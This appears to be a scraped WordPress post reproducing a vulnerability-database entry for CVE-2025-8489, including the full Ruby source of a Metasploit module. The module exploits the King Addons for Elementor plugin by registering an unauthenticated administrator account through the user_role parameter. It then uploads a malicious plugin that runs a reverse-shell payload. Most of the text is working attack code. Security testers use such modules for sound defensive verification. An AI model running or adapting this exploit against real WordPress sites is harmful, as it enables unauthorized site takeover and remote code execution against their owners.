{“lastseen”:”2025-12-10T19:05:03″,”description”:”This module exploits an unauthenticated privilege escalation vulnerability in the WordPress King Addons for Elementor plugin versions 24.12.92 to 51.1.14. The vulnerability exists in the handleregisterajax function which allows unauthenticated…”,”published”:”2025-12-10T18:57:29″,”modified”:”2025-12-10T18:57:29″,”type”:”metasploit”,”title”:”WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-WP_KING_ADDONS_PRIVILEGE_ESCALATION-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-8489″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Payload::Php\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Wordpress\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an unauthenticated privilege escalation vulnerability in the WordPress\\n King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists\\n in the handle_register_ajax() function which allows unauthenticated attackers to specify\\n the user_role parameter during registration, enabling them to create administrator accounts.\\n\\n This exploit requires a WordPress page containing the King Addons \\”Login Register Form\\”\\n Elementor widget, which exposes the required nonce token in the page’s JavaScript.\\n The NONCE_PAGE option must be set to the path of such a page.\\n\\n Once an administrator account is created, the module uploads and executes a malicious\\n plugin to achieve remote code execution (RCE).\\n },\\n ‘Author’ =\\u003e [\\n ‘Peter Thaleikis’, # Vulnerability discovery\\n ‘Valentin Lobstein \\u003cchocapikk@leakix.net\\u003e’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-8489’],\\n [‘URL’, ‘https:\/\/www.wordfence.com\/blog\/2025\/12\/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin\/’]\\n ],\\n ‘Platform’ =\\u003e %w[php unix linux win],\\n ‘Arch’ =\\u003e [ARCH_PHP, ARCH_CMD],\\n ‘DisclosureDate’ =\\u003e ‘2025-10-30’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP In-Memory’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP\\n # tested with php\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n }\\n ]\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘NONCE_PAGE’, [true, ‘Path to page containing King Addons Login Register Form widget’, ”]),\\n OptString.new(‘USERNAME’, [true, ‘Username to create’, Faker::Internet.username]),\\n OptString.new(‘PASSWORD’, [true, ‘Password for the new user’, Faker::Internet.password(min_length: 8)]),\\n OptString.new(‘EMAIL’, [true, ‘Email for the new user’, Faker::Internet.email])\\n ]\\n )\\n end\\n\\n def check\\n return CheckCode::Unknown unless wordpress_and_online?\\n\\n plugin_check = check_plugin_version_from_readme(‘king-addons’, ‘51.1.35’, ‘24.12.92’)\\n return plugin_check if plugin_check == CheckCode::Safe\\n\\n @nonce = find_nonce\\n return CheckCode::Detected(‘Could not find nonce on specified page’) unless @nonce\\n\\n CheckCode::Appears\\n end\\n\\n def exploit\\n fail_with(Failure::NotFound, ‘The target does not appear to be using WordPress’) unless wordpress_and_online?\\n\\n user_existed = create_admin_user(datastore[‘USERNAME’], datastore[‘PASSWORD’], datastore[‘EMAIL’])\\n\\n admin_cookie = wordpress_login(datastore[‘USERNAME’], datastore[‘PASSWORD’])\\n unless admin_cookie\\n msg = ‘Failed to log in to WordPress admin.’\\n msg += ‘ User may exist with a different password.’ if user_existed\\n fail_with(Failure::UnexpectedReply, msg)\\n end\\n\\n upload_and_execute_payload(admin_cookie)\\n end\\n\\n private\\n\\n def find_nonce\\n nonce_page = normalize_uri(target_uri.path, datastore[‘NONCE_PAGE’])\\n res = send_request_cgi(‘method’ =\\u003e ‘GET’, ‘uri’ =\\u003e nonce_page)\\n return nil unless res\\u0026.code == 200\\n\\n doc = res.get_html_document\\n return nil unless doc\\n\\n script_nodes = doc.xpath(‘\/\/script[contains(text(), \\”king_addons_login_register_vars\\”)]’)\\n\\n script_nodes.each do |script_node|\\n nonce = extract_nonce_from_script(script_node.text)\\n return nonce if nonce\\n end\\n\\n vprint_warning(‘Could not find nonce’)\\n nil\\n end\\n\\n def extract_nonce_from_script(script_content)\\n match = script_content.match(\/king_addons_login_register_vars\\\\s*=\\\\s*({[^;]+})\/)\\n return nil unless match\\n\\n json_data = begin\\n JSON.parse(match[1].gsub(‘\\\\\/’, ‘\/’))\\n rescue StandardError\\n nil\\n end\\n return nil unless json_data.is_a?(Hash)\\n\\n nonce = json_data[‘register_nonce’]\\n return nil unless nonce.is_a?(String) \\u0026\\u0026 !nonce.empty?\\n\\n vprint_status(\\”Found nonce: #{nonce}\\”)\\n nonce\\n end\\n\\n def send_registration_request(username:, email:, password:, user_role: ‘administrator’)\\n @nonce ||= find_nonce\\n fail_with(Failure::NotFound, ‘Could not find nonce on specified page’) unless @nonce\\n\\n send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e wordpress_url_admin_ajax,\\n ‘vars_post’ =\\u003e {\\n ‘action’ =\\u003e ‘king_addons_user_register’,\\n ‘nonce’ =\\u003e @nonce,\\n ‘username’ =\\u003e username,\\n ’email’ =\\u003e email,\\n ‘password’ =\\u003e password,\\n ‘confirm_password’ =\\u003e password,\\n ‘user_role’ =\\u003e user_role,\\n ‘terms_required’ =\\u003e ‘no’\\n }\\n )\\n end\\n\\n def create_admin_user(username, password, email)\\n res = send_registration_request(username: username, email: email, password: password)\\n unless res\\u0026.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Failed to create administrator account.’)\\n end\\n\\n json = res.get_json_document\\n unless json.is_a?(Hash)\\n fail_with(Failure::UnexpectedReply, ‘Failed to create administrator account.’)\\n end\\n\\n if json[‘success’] == false \\u0026\\u0026 json.dig(‘data’, ‘message’)\\u0026.match?(\/already exists|username.*taken|user.*exists\/i)\\n print_warning(‘User or email already exists, attempting login with provided credentials…’)\\n return true\\n end\\n\\n if json[‘success’] == true\\n return false\\n end\\n\\n fail_with(Failure::UnexpectedReply, \\”Unexpected response: #{res.body}\\”)\\n end\\n\\n def upload_and_execute_payload(admin_cookie)\\n plugin_name = \\”wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n payload_name = \\”ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}\\”\\n\\n zip = generate_plugin(plugin_name, payload_name)\\n fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’) unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)\\n\\n register_files_for_cleanup(\\”#{payload_name}.php\\”, \\”#{plugin_name}.php\\”)\\n register_dir_for_cleanup(\\”..\/#{plugin_name}\\”)\\n payload_file = \\”#{payload_name}.php\\”\\n payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)\\n send_request_cgi(‘uri’ =\\u003e payload_uri, ‘method’ =\\u003e ‘GET’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/wp_king_addons_privilege_escalation.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/wp_king_addons_privilege_escalation\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-10T19:05:03″,”description”:”This module exploits an unauthenticated privilege escalation vulnerability in the WordPress King Addons for Elementor plugin versions 24.12.92 to 51.1.14. The vulnerability exists in the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-30209","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n